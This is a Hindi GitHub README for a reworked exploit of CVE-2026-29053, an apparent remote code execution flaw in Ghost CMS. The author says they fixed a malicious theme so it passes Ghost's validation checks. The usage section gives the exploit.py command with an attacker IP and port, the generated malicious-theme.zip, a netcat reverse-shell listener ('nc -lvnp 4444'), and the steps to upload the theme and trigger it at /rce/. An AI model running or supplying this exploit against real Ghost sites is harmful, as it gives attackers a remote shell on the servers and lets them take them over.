ac8999/cve-2026-29053(RCE) भेद्यता Ghost CMS में खोजी गई (विशेष रूप से संस्करण 0.7.2 से 6.19.0 को प्रभावित करने वाली)
यह उसी CVE के लिए rootxran द्वारा बनाए गए Repo का पुनर्कार्य है - https://github.com/rootxran/CVE-2026-29053
विशिष्ट Ghost CMS वातावरणों के विरुद्ध परीक्षण के दौरान, मूल थीम पेलोड ने एक Fatal Handlebars Error ट्रिगर किया। CMS दुर्भावनापूर्ण थीम को सक्रिय करने में विफल रहा क्योंकि यह author.hbs फ़ाइल के भीतर एक deprecated या लापता helper (social_url) का संदर्भ दे रहा था।
मैंने Handlebars टेम्पलेट्स को मूल, संगत helpers का उपयोग करने के लिए अपडेट किया है। यह सुनिश्चित करता है कि थीम Ghost की आंतरिक सत्यापन जाँचों को पार कर जाए, जिससे एक्सप्लॉइट थीम इंजन के सुरक्षा पार्सर द्वारा अवरुद्ध किए बिना सफलतापूर्वक सक्रिय हो सके।
उपयोग: (वीडियो मार्गदर्शन के लिए मूल एक्सप्लॉइट देखें)।
┌──(root㉿user)-[/tmp/CVE-2026-29053]
└─# python3 exploit.py -i 10.10.15.93 -p 4444
[+] Payload: 10.10.15.93:4444
[+] Created: /tmp/CVE-2026-29053/malicious-theme.zip
1. nc -lvnp 4444
2. Upload theme, create page with slug 'rce'
3. Visit /rce/